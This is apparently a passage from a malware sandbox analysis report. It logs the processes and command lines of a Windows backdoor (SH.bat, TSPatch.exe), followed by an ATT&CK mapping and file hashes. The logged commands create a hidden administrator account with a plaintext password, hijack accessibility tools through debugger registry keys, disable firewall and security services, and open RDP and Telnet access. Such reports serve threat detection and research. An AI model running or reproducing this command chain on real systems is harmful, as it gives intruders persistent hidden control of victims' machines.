C:\Windows\SysWOW64\net.exenet localgroup "Utilisateurs du Bureau а distance" ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Utilisateurs du Bureau а distance" ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup Beheerders ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Beheerders ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop-gebruikers" ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop-gebruikers" ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup Beheerders ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Beheerders ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop gebruikers" ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop gebruikers" ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup ??? ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup ??? ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "??????" ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "??????" ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup ??? ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup ??? ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "??????????????" ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "??????????????" ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup Administratorzy ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Administratorzy ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Uzytkownicy pulpitu zdalnego" ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Uzytkownicy pulpitu zdalnego" ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup Administratorer ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Administratorer ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Brukere av eksternt skrivebord" ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Brukere av eksternt skrivebord" ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup Administradores ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Administradores ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Usuarios Remote Desktop" ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Usuarios Remote Desktop" ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup Administradores ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Administradores ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Usuarios de escritorio remoto" ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Usuarios de escritorio remoto" ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup gli amministratori ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup gli amministratori ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Utenti desktop remoto" ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Utenti desktop remoto" ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup administratorer ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup administratorer ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Anvandare av fjarrskrivbord" ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Anvandare av fjarrskrivbord" ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup Administratoren ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Administratoren ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "RemoteDesktopBenutzer" ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "RemoteDesktopBenutzer" ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup Administratoren ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Administratoren ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop Benutzer" ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Benutzer" ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup Administradores ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Administradores ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Utilizadores do ambiente de trabalho remoto" ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Utilizadores do ambiente de trabalho remoto" ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup Administrators ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Administrators ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Utenti desktop remoto" ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Utenti desktop remoto" ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup Administradores ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Administradores ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Usuarios de escritorio remoto" ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Usuarios de escritorio remoto" ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup yoneticileri ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup yoneticileri ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Uzak masaustu kullan?c?lar?" ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Uzak masaustu kullan?c?lar?" ontar /add4⤵
-
C:\Windows\SysWOW64\reg.exeReg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Narrator.exe" /v "debugger" /t REG_SZ /d "cmd.exe" /f3⤵
-
C:\Windows\SysWOW64\reg.exeReg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe" /v "debugger" /t REG_SZ /d "cmd.exe" /f3⤵
-
C:\Windows\SysWOW64\net.exenet accounts /forcelogoff:no3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 accounts /forcelogoff:no4⤵
-
C:\Windows\SysWOW64\net.exenet accounts /maxpwage:unlimited3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 accounts /maxpwage:unlimited4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v helpassistant /t REG_DWORD /d "00000000" /f3⤵
- Modifies WinLogon
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v ontar /t REG_DWORD /d "00000000" /f3⤵
- Modifies WinLogon
-
C:\Windows\SysWOW64\chcp.comchcp 12513⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SYSTEМ /t REG_DWORD /d "00000000" /f3⤵
- Modifies WinLogon
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Аdministrator /t REG_DWORD /d "00000000" /f3⤵
- Modifies WinLogon
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Aдминистратор /t REG_DWORD /d "00000000" /f3⤵
- Modifies WinLogon
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v RPLifeInterval /t REG_DWORD /d "00005180" /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v SFCDisable /t REG_DWORD /d "FFFFFF9D" /f3⤵
-
C:\Windows\SysWOW64\sc.exesc config rasman start= auto3⤵
-
C:\Windows\SysWOW64\sc.exesc config remoteaccess start= auto3⤵
-
C:\Windows\SysWOW64\net.exenet start rasman3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start rasman4⤵
-
C:\Windows\SysWOW64\net.exenet start remoteaccess3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start remoteaccess4⤵
-
C:\Windows\SysWOW64\sc.exesc config wscsvc start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc stop wscsvc3⤵
-
C:\Windows\SysWOW64\sc.exesc stop SharedAccess3⤵
-
C:\Windows\SysWOW64\sc.exesc create tlntsvr binPath= tlntsvr.exe3⤵
-
C:\Windows\SysWOW64\sc.exesc config tlntsvr start= auto3⤵
-
C:\Windows\SysWOW64\net.exenet start tlntsvr3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start tlntsvr4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxConnectionTime" /t REG_DWORD /d 0x1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxDisconnectionTime" /t REG_DWORD /d 0x0 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxIdleTime" /t REG_DWORD /d 0x0 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v /t REG_DWORD /d 0x0 /f3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add portopening TCP 3389 system3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add portopening TCP 4899 system3⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +h +s "C:\Documents and settings\ontar" /S /D3⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value | Find "="3⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exeWMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value4⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\find.exeFind "="4⤵
-
C:\Windows\SysWOW64\net.exenet user ontar Preaba1! /add /active:"yes" /expires:"never" /passwordchg:"NO"3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user ontar Preaba1! /add /active:"yes" /expires:"never" /passwordchg:"NO"4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup Administrators ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Administrators ontar /add4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value | Find "="3⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exeWMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value4⤵
-
C:\Windows\SysWOW64\find.exeFind "="4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop Users" ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet accounts /forcelogoff:no /maxpwage:unlimited3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 accounts /forcelogoff:no /maxpwage:unlimited4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxConnectionTime" /t REG_DWORD /d 0x1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxDisconnectionTime" /t REG_DWORD /d 0x0 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxIdleTime" /t REG_DWORD /d 0x0 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v ontar /t REG_DWORD /d 0x0 /f3⤵
- Modifies WinLogon
-
C:\Windows\SysWOW64\reg.exeReg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\0" /v "Version" /t REG_DWORD /d "196611" /f3⤵
-
C:\Windows\SysWOW64\reg.exeReg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\Extension-List\{00000000-0000-0000-0000-000000000000}" /v "StartTimeLo" /t REG_DWORD /d "2386147405" /f3⤵
-
C:\Windows\SysWOW64\reg.exeReg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\Extension-List\{00000000-0000-0000-0000-000000000000}" /v "EndTimeLo" /t REG_DWORD /d "2387249407" /f3⤵
-
C:\Windows\SysWOW64\reg.exeReg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\GPO-List\0" /v "Version" /t REG_DWORD /d "196611" /f3⤵
-
C:\Windows\SysWOW64\reg.exeReg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Status\GPExtensions\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}" /v "LastPolicyTime" /t REG_DWORD /d "19856934" /f3⤵
-
C:\Windows\SysWOW64\reg.exeReg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v "UserAuthentication" /t REG_DWORD /d "0" /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0x00000000 /f3⤵
-
C:\Windows\SysWOW64\reg.exeReg.exe add "HKLM\SYSTEM\ControlSet001\services\SharedAccess\Epoch" /v "Epoch" /t REG_DWORD /d "9412" /f3⤵
-
C:\Windows\SysWOW64\reg.exeReg.exe add "HKLM\SYSTEM\CurrentControlSet\services\SharedAccess\Epoch" /v "Epoch" /t REG_DWORD /d "9412" /f3⤵
-
C:\Windows\SysWOW64\reg.exeReg.exe add "HKU\S-1-5-21-1252767878-4065156067-3399968500-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count" /v "P:\FUNER\Iveghny\Ertfubg.rkr" /t REG_BINARY /d "1300000002000000100000001a230500000080bf000080bf000080bf000080bf000080bf000080bf000080bf000080bf000080bf000080bfffffffff40e916d87c3bd30100000000" /f3⤵
-
C:\Windows\SysWOW64\attrib.exeattrib C:\users\ontar +r +a +s +h3⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\reg.exereg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList» /v ontar /t REG_DWORD /d «00000000" /f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\foo\SH.bat" "2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\attrib.exeattrib -h -s -r C:\Windows\system32\dllcache3⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\reg.exeReg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "debugger" /t REG_SZ /d "drmsvc.exe" /f3⤵
-
C:\Windows\SysWOW64\reg.exeReg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ibhost.exe" /v "debugger" /t REG_SZ /d "drmsvc.exe" /f3⤵
-
C:\Windows\SysWOW64\reg.exeReg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v "debugger" /t REG_SZ /d "wpmsvc.exe" /f3⤵
-
C:\Windows\SysWOW64\reg.exeReg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Narrator.exe" /v "debugger" /t REG_SZ /d "cmd.exe" /f3⤵
-
C:\Windows\SysWOW64\reg.exeReg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe" /v "debugger" /t REG_SZ /d "cmd.exe" /f3⤵
-
C:\Windows\SysWOW64\reg.exeReg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uddisrw.exe" /v "debugger" /t REG_SZ /d "wpmsvc.exe" /f3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F C:\Windows\System32\sethc.exe3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\takeown.exetakeown /F C:\Windows\SysWOW64\sethc.exe3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\System32\dllcache\sethc.exe /G :F SYSTEM:F3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\dllcache\sethc.exe /G :F SYSTEM:F3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\reg.exeReg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Windows10Upgrade.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f3⤵
-
C:\Windows\SysWOW64\reg.exeReg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EOSNotify.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f3⤵
-
C:\Users\Admin\AppData\Local\Temp\foo\TSPatch.exe"C:\Users\Admin\AppData\Local\Temp\foo\TSPatch.exe" -silent2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s SstpSvc1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s RasMan1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -s NetSetupSvc1⤵
- Suspicious use of AdjustPrivilegeToken
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s RasMan1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Persistence
Account Manipulation
1New Service
1Modify Existing Service
2Registry Run Keys / Startup Folder
1Hidden Files and Directories
2Winlogon Helper DLL
1Defense Evasion
Modify Registry
2Hidden Files and Directories
2Impair Defenses
1File Permissions Modification
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\foo\SH.batMD5
21ef54fce2b94d13c5c8bc294fbc5e11
SHA157a38e4649b34e4bb36b778c17de0804ac418132
SHA256896fe05ecf0c6826cb5265a43118fc242ecc7a5457e487a0976a73c514a4a16d
SHA5122f539290cb27bd88cdf73e976a9a77de951cdc2f428669bc472470cf9775f7c3e4c351e5eabdafeef074954fdd8efe61096a09dc1f1a2ee4ba72426e263378c7
-
C:\Users\Admin\AppData\Local\Temp\foo\TSPatch.exeMD5
c558680a720c1e3a317ae3ee9e4bdfda
SHA1a23b18726297c80b89e3de588666d116920c8f10
SHA2568c66a900102db758830c47c9e32076fabace6d81bc9ae0b50ba448880f5f1ff8
SHA5120bc22482c9cf8192a68dcc6c796c7316989f233142ee9ce906dd9408a05dd2c25598d33eaf79e6eccb5d23f95e57948fdfb706b26cf92a839b473e7b24d6955f
-
C:\Users\Admin\AppData\Local\Temp\foo\TSPatch.exeMD5
c558680a720c1e3a317ae3ee9e4bdfda
SHA1a23b18726297c80b89e3de588666d116920c8f10
SHA2568c66a900102db758830c47c9e32076fabace6d81bc9ae0b50ba448880f5f1ff8
SHA5120bc22482c9cf8192a68dcc6c796c7316989f233142ee9ce906dd9408a05dd2c25598d33eaf79e6eccb5d23f95e57948fdfb706b26cf92a839b473e7b24d6955f
-
C:\Users\Admin\AppData\Local\Temp\foo\U.batMD5
1fae59414d8f21e40d105f47f6b23edd
SHA1c157832a5322d53130fa1e568abf7b66e2ae87cc
SHA256d58f99d63f3306ccc68130af6cd7e539198e26b0ce2cb647b3ac710b974cec7e
SHA512c579e56e3f449bcfc50c9d32f85bb55a0e2fd34d54146654188c38f7c2af529a04c9471afab10bf1c529cae9ef0c185a8712cf626c8c84a306dc3758dc29b538
-
C:\Users\Admin\AppData\Local\Temp\foo\prop.exeMD5
48522d32f014350cb5b8d55ca8b52678
SHA14b84fedea40c4db502427cbc9e0ceffb18bf7033
SHA2567b0fd59157936cbaa2fe204fba06b22f11bfc5373aa7ea918a5c0e42035094bd
SHA51205bddf16831b456a66936af181bac73e23131e2d0698db0d1a93b51c60fdaedff1a389e6adf3cb619921211147ce54ca6c5be25dab4c79169e914dcc0b2a50ae
-
C:\Windows\INF\netrasa.PNFMD5
80648b43d233468718d717d10187b68d
SHA1a1736e8f0e408ce705722ce097d1adb24ebffc45
SHA2568ab9a39457507e405ade5ef9d723e0f89bc46d8d8b33d354b00d95847f098380
SHA512eec0ac7e7abcf87b3f0f4522b0dd95c658327afb866ceecff3c9ff0812a521201d729dd71d43f3ac46536f8435d4a49ac157b6282077c7c1940a6668f3b3aea9
-
C:\Windows\INF\netsstpa.PNFMD5
01e21456e8000bab92907eec3b3aeea9
SHA139b34fe438352f7b095e24c89968fca48b8ce11c
SHA25635ad0403fdef3fce3ef5cd311c72fef2a95a317297a53c02735cda4bd6e0c74f
SHA5129d5153450e8fe3f51f20472bae4a2ab2fed43fad61a89b04a70325559f6ffed935dd72212671cc6cfc0288458d359bc71567f0d9af8e5770d696adc5bdadd7ec
-
\??\PIPE\lsarpcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\??\PIPE\lsarpcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
memory/60-14-0x0000000000000000-mapping.dmp
-
memory/404-69-0x0000000000000000-mapping.dmp
-
memory/484-134-0x0000000000000000-mapping.dmp
-
memory/488-76-0x0000000000000000-mapping.dmp
-
memory/492-133-0x0000000000000000-mapping.dmp
-
memory/500-39-0x0000000000000000-mapping.dmp
-
memory/504-36-0x0000000000000000-mapping.dmp
-
memory/568-150-0x0000000000000000-mapping.dmp
-
memory/572-31-0x0000000000000000-mapping.dmp
-
memory/684-115-0x0000000000000000-mapping.dmp
-
memory/736-102-0x0000000000000000-mapping.dmp
-
memory/744-101-0x0000000000000000-mapping.dmp
-
memory/796-96-0x0000000000000000-mapping.dmp
-
memory/804-35-0x0000000000000000-mapping.dmp
-
memory/848-93-0x0000000000000000-mapping.dmp
-
memory/852-92-0x0000000000000000-mapping.dmp
-
memory/892-142-0x0000000000000000-mapping.dmp
-
memory/924-86-0x0000000000000000-mapping.dmp
-
memory/1016-87-0x0000000000000000-mapping.dmp
-
memory/1036-131-0x0000000000000000-mapping.dmp
-
memory/1156-24-0x0000000000000000-mapping.dmp
-
memory/1160-132-0x0000000000000000-mapping.dmp
-
memory/1168-22-0x0000000000000000-mapping.dmp
-
memory/1264-159-0x0000000000000000-mapping.dmp
-
memory/1324-57-0x0000000000000000-mapping.dmp
-
memory/1336-23-0x0000000000000000-mapping.dmp
-
memory/1444-26-0x0000000000000000-mapping.dmp
-
memory/1492-110-0x0000000000000000-mapping.dmp
-
memory/1536-116-0x0000000000000000-mapping.dmp
-
memory/1544-135-0x0000000000000000-mapping.dmp
-
memory/1624-85-0x0000000000000000-mapping.dmp
-
memory/1632-140-0x0000000000000000-mapping.dmp
-
memory/1668-77-0x0000000000000000-mapping.dmp
-
memory/1672-170-0x0000000000000000-mapping.dmp
-
memory/1692-9-0x0000000000000000-mapping.dmp
-
memory/1764-66-0x0000000000000000-mapping.dmp
-
memory/1800-143-0x0000000000000000-mapping.dmp
-
memory/1848-94-0x0000000000000000-mapping.dmp
-
memory/1880-130-0x0000000000000000-mapping.dmp
-
memory/1896-175-0x0000000000000000-mapping.dmp
-
memory/1912-174-0x0000000000000000-mapping.dmp
-
memory/1920-20-0x0000000000000000-mapping.dmp
-
memory/2036-145-0x0000000000000000-mapping.dmp
-
memory/2056-124-0x0000000000000000-mapping.dmp
-
memory/2104-53-0x0000000000000000-mapping.dmp
-
memory/2108-68-0x0000000000000000-mapping.dmp
-
memory/2112-163-0x0000000000000000-mapping.dmp
-
memory/2116-83-0x0000000000000000-mapping.dmp
-
memory/2136-113-0x0000000000000000-mapping.dmp
-
memory/2172-161-0x0000000000000000-mapping.dmp
-
memory/2188-114-0x0000000000000000-mapping.dmp
-
memory/2196-108-0x0000000000000000-mapping.dmp
-
memory/2208-72-0x0000000000000000-mapping.dmp
-
memory/2236-155-0x0000000000000000-mapping.dmp
-
memory/2256-106-0x0000000000000000-mapping.dmp
-
memory/2268-75-0x0000000000000000-mapping.dmp
-
memory/2300-38-0x0000000000000000-mapping.dmp
-
memory/2304-97-0x0000000000000000-mapping.dmp
-
memory/2312-118-0x0000000000000000-mapping.dmp
-
memory/2316-173-0x0000000000000000-mapping.dmp
-
memory/2444-61-0x0000000000000000-mapping.dmp
-
memory/2448-56-0x0000000000000000-mapping.dmp
-
memory/2484-100-0x0000000000000000-mapping.dmp
-
memory/2488-120-0x0000000000000000-mapping.dmp
-
memory/2500-70-0x0000000000000000-mapping.dmp
-
memory/2512-29-0x0000000000000000-mapping.dmp
-
memory/2520-128-0x0000000000000000-mapping.dmp
-
memory/2528-138-0x0000000000000000-mapping.dmp
-
memory/2536-84-0x0000000000000000-mapping.dmp
-
memory/2592-19-0x0000000000000000-mapping.dmp
-
memory/2628-111-0x0000000000000000-mapping.dmp
-
memory/2632-109-0x0000000000000000-mapping.dmp
-
memory/2648-168-0x0000000000000000-mapping.dmp
-
memory/2668-74-0x0000000000000000-mapping.dmp
-
memory/2672-64-0x0000000000000000-mapping.dmp
-
memory/2704-78-0x0000000000000000-mapping.dmp
-
memory/2748-62-0x0000000000000000-mapping.dmp
-
memory/2832-122-0x0000000000000000-mapping.dmp
-
memory/2876-99-0x0000000000000000-mapping.dmp
-
memory/2948-52-0x0000000000000000-mapping.dmp
-
memory/3008-10-0x0000000000000000-mapping.dmp
-
memory/3012-104-0x0000000000000000-mapping.dmp
-
memory/3016-98-0x0000000000000000-mapping.dmp
-
